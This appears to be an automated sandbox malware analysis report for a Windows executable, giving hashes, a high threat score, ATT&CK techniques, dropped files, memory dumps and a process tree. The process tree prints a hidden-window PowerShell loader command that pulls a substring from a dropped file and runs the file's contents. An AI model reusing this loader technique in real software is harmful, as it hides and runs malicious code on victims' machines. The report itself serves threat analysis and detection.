6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4

Analysis

max time kernel
51s
max time network
52s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
29-06-2024 01:24

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General

Target

6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe
Size

661KB
MD5

74336e7da7a408aaa8294da6f6aac32a
SHA1

6580cf46066ea303fd79f59a714e28a7c94407ac
SHA256

6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4
SHA512

f897d959b2d1e251fb029207b7039870ebbad6302a0e1628d3005f7fd83eff8fd542e7af86b60b51ea004dad8dcdeb0a92666160afe85acbeb797bd556ebfeed
SSDEEP

12288:zsB4GOaH78odDXrppDwLZpsh3uq8RXFeWM:I4GOedDbnsLZWhSRXFY

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4740 powershell.exe

pid	process
4740	powershell.exe

Loads dropped DLL 4 IoCs

Processes:

6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe

pid	process
4392	6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe
4392	6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe
4392	6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe
4392	6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe

Drops file in Windows directory 1 IoCs

Processes:

6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe

description ioc process

File opened for modification C:\Windows\Fonts\anorakkerne.ini 6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

5068 4740 WerFault.exe powershell.exe
Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exe

pid process

4740 powershell.exe
4740 powershell.exe
4740 powershell.exe
4740 powershell.exe
4740 powershell.exe
4740 powershell.exe
4740 powershell.exe
4740 powershell.exe
4740 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4740 powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Fonts\anorakkerne.ini	6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe

pid	pid_target	process	target process
5068	4740	WerFault.exe	powershell.exe

pid	process
4740	powershell.exe
4740	powershell.exe
4740	powershell.exe
4740	powershell.exe
4740	powershell.exe
4740	powershell.exe
4740	powershell.exe
4740	powershell.exe
4740	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4740	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe

description	pid	process	target process
PID 4392 wrote to memory of 4740	4392	6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe	powershell.exe
PID 4392 wrote to memory of 4740	4392	6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe	powershell.exe
PID 4392 wrote to memory of 4740	4392	6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe
"C:\Users\Admin\AppData\Local\Temp\6ffd9cb38cde78ef56ec635621c3f432ff095bede0cdf72b27ea41d4ad45cab4.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4392

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Encreel=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Udeblivelsesdom.Aug';$Handwheel=$Encreel.SubString(7993,3);.$Handwheel($Encreel)"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4740 -s 2212
3⤵
- Program crash
PID:5068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4740 -ip 4740
1⤵
PID:1980

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z5tzvlt3.zav.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nst4FE6.tmp\AdvSplash.dll
Filesize
6KB

MD5
6def2cf3daf850acdc1a3e7340a439c4

SHA1
95d0d26f60cd5af697502cd5e53a54913ab188fb

SHA256
3ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175

SHA512
16b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413

Download Submit
C:\Users\Admin\AppData\Local\Temp\nst4FE6.tmp\BgImage.dll
Filesize
7KB

MD5
2bb17d45e5ad92053ce1e500408dd8a9

SHA1
f5d3a7ee6e28df532e9ce33976c92ff30a5665e4

SHA256
71ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53

SHA512
efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nst4FE6.tmp\UserInfo.dll
Filesize
4KB

MD5
8ef0e4eb7c89cdd2b552de746f5e2a53

SHA1
820f681e7cec409a02b194a487d1c8af1038acf0

SHA256
41293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc

SHA512
a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\nst4FE6.tmp\nsExec.dll
Filesize
6KB

MD5
c129bc26a26be6f5816a03520bb37833

SHA1
18100042155f948301701744b131c516bf26ddb8

SHA256
d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4

SHA512
dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63

Download Submit
C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Udeblivelsesdom.Aug
Filesize
67KB

MD5
de6fadfdd569426a831cf685c12202a6

SHA1
90a0b73c70f88a20aaca138bf26af61a60be633f

SHA256
9c22743c85706cbe95e7e1bb31ae1e2868a38e4bc04743d7ec955cf6b24355bb

SHA512
47e356a21350691a71c609d615544b46e69c8aa40dd3072f8bfea88570e1ce5a73a7ff778bc3651f47e7c7e9148202a92cae96484f9c19a095613de9b654d837

Download Submit
C:\Users\Admin\Pictures\slukningen.lnk
Filesize
992B

MD5
eb4a4341a72ca51f8eb1148d8a752cc7

SHA1
2e63f874bc7727d9e5781273ca4da3b71905cabe

SHA256
ca964075b3c6ac38175113b09ac0e02163b706d6d9b4dedba148e3e613860ea0

SHA512
8230b72a48a12f54264d6d5363d33cd3e1fd6b7d0e8ca0402ae7f50e42a2f23f1b3c8090118f48277129b8615714d264db099b7db18a7e09904e06538dfcbaf4

Download Submit
memory/4740-157-0x0000000005730000-0x0000000005796000-memory.dmp

Filesize
408KB

Download
memory/4740-170-0x0000000005DF0000-0x0000000005E3C000-memory.dmp

Filesize
304KB

Download
memory/4740-153-0x0000000005100000-0x0000000005728000-memory.dmp

Filesize
6.2MB

Download
memory/4740-156-0x0000000004E00000-0x0000000004E22000-memory.dmp

Filesize
136KB

Download
memory/4740-158-0x00000000057A0000-0x0000000005806000-memory.dmp

Filesize
408KB

Download
memory/4740-154-0x0000000073BA0000-0x0000000074350000-memory.dmp

Filesize
7.7MB

Download
memory/4740-152-0x00000000027C0000-0x00000000027F6000-memory.dmp

Filesize
216KB

Download
memory/4740-168-0x0000000005810000-0x0000000005B64000-memory.dmp

Filesize
3.3MB

Download
memory/4740-169-0x0000000005DA0000-0x0000000005DBE000-memory.dmp

Filesize
120KB

Download
memory/4740-155-0x0000000073BA0000-0x0000000074350000-memory.dmp

Filesize
7.7MB

Download
memory/4740-171-0x0000000006D70000-0x0000000006E06000-memory.dmp

Filesize
600KB

Download
memory/4740-173-0x0000000006320000-0x0000000006342000-memory.dmp

Filesize
136KB

Download
memory/4740-172-0x00000000062D0000-0x00000000062EA000-memory.dmp

Filesize
104KB

Download
memory/4740-174-0x00000000073C0000-0x0000000007964000-memory.dmp

Filesize
5.6MB

Download
memory/4740-151-0x0000000073BAE000-0x0000000073BAF000-memory.dmp

Filesize
4KB

Download
memory/4740-176-0x0000000007FF0000-0x000000000866A000-memory.dmp

Filesize
6.5MB

Download
memory/4740-178-0x0000000073BA0000-0x0000000074350000-memory.dmp

Filesize
7.7MB

Download